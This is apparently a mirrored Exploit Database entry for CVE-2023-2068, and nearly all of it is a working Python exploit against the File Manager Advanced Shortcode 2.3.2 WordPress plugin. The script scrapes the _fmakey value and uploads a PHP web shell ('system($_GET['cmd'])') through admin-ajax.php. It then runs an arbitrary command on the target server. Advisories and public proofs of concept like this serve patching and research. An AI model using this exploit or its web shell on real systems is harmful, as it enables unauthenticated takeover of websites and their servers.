File Manager Advanced Shortcode 2.3.2 – Unauthenticated Remote Code Execution (RCE)

Exploit Database
138 阅读

作者： Mateus Machado Tesser

日期： 2023-06-04
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/51505/

# Exploit Title: File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution (RCE)

# Date: 05/31/2023

# Exploit Author: Mateus Machado Tesser

# Vendor Homepage: https://advancedfilemanager.com/

# Version: File Manager Advanced Shortcode 2.3.2

# Tested on: WordPress 6.1 / Linux (Ubuntu) 5.15

# CVE: CVE-2023-2068

import requests

import json

import pprint

import sys

import re

PROCESS = "\033[1;34;40m[*]\033[0m"

SUCCESS = "\033[1;32;40m[+]\033[0m"

FAIL = "\033[1;31;40m[-]\033[0m"

try:

COMMAND = sys.argv[2]

IP = sys.argv[1]

if len(COMMAND) > 1:

pass

if IP:

pass

else:

print(f'Use: {sys.argv[0]} IP COMMAND')

except:

pass

url = 'http://'+IP+'/' # Path to File Manager Advanced Shortcode Panel

print(f"{PROCESS} Searching fmakey")

try:

r = requests.get(url)

raw_fmakey = r.text

fmakey = re.findall('_fmakey.*$',raw_fmakey,re.MULTILINE)[0].split("'")[1]

if len(fmakey) == 0:

print(f"{FAIL} Cannot found fmakey!")

except:

print(f"{FAIL} Cannot found fmakey!")

print(f'{PROCESS} Exploiting Unauthenticated Remote Code Execution via AJAX!')

url = "http://"+IP+"/wp-admin/admin-ajax.php"

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryI52DGCOt37rixRS1", "Accept": "*/*"}

data = "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hashes[l1_cG5nLWNsaXBhcnQtaGFja2VyLWhhY2tlci5wbmc]\"\r\n\r\nexploit.php\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nfma_load_shortcode_fma_ui\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"_fmakey\"\r\n\r\n"+fmakey+"\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"path\"\r\n\r\n\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"url\"\r\n\r\n\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"w\"\r\n\r\nfalse\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"r\"\r\n\r\ntrue\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hide\"\r\n\r\nplugins\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"operations\"\r\n\r\nupload,download\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"path_type\"\r\n\r\ninside\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hide_path\"\r\n\r\nno\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"enable_trash\"\r\n\r\nno\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_allow\"\r\n\r\ntext/x-php\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_max_size\"\r\n\r\n2G\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"exploit2.php\"\r\nContent-Type: text/x-php\r\n\r\n<?php system($_GET['cmd']);?>\r\n"

data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n\r\n------WebKitFormBoundaryI52DGCOt37rixRS1--\r\n"

r = requests.post(url, headers=headers, data=data)

print(f"{PROCESS} Sending AJAX request to: {url}")

if 'errUploadMime' in r.text:

print(f'{FAIL} Exploit failed!')

sys.exit()

elif r.headers['Content-Type'].startswith("text/html"):

print(f'{FAIL} Exploit failed! Try to change _fmakey')

sys.exit(0)

else:

print(f'{SUCCESS} Exploit executed with success!')

exploited = json.loads(r.text)

url = ""

print(f'{PROCESS} Getting URL with webshell')

for i in exploited["added"]:

url = i['url']

print(f"{PROCESS} Executing '{COMMAND}'")

r = requests.get(url+'?cmd='+COMMAND)

print(f'{SUCCESS} The application returned ({len(r.text)} length):\n'+r.text)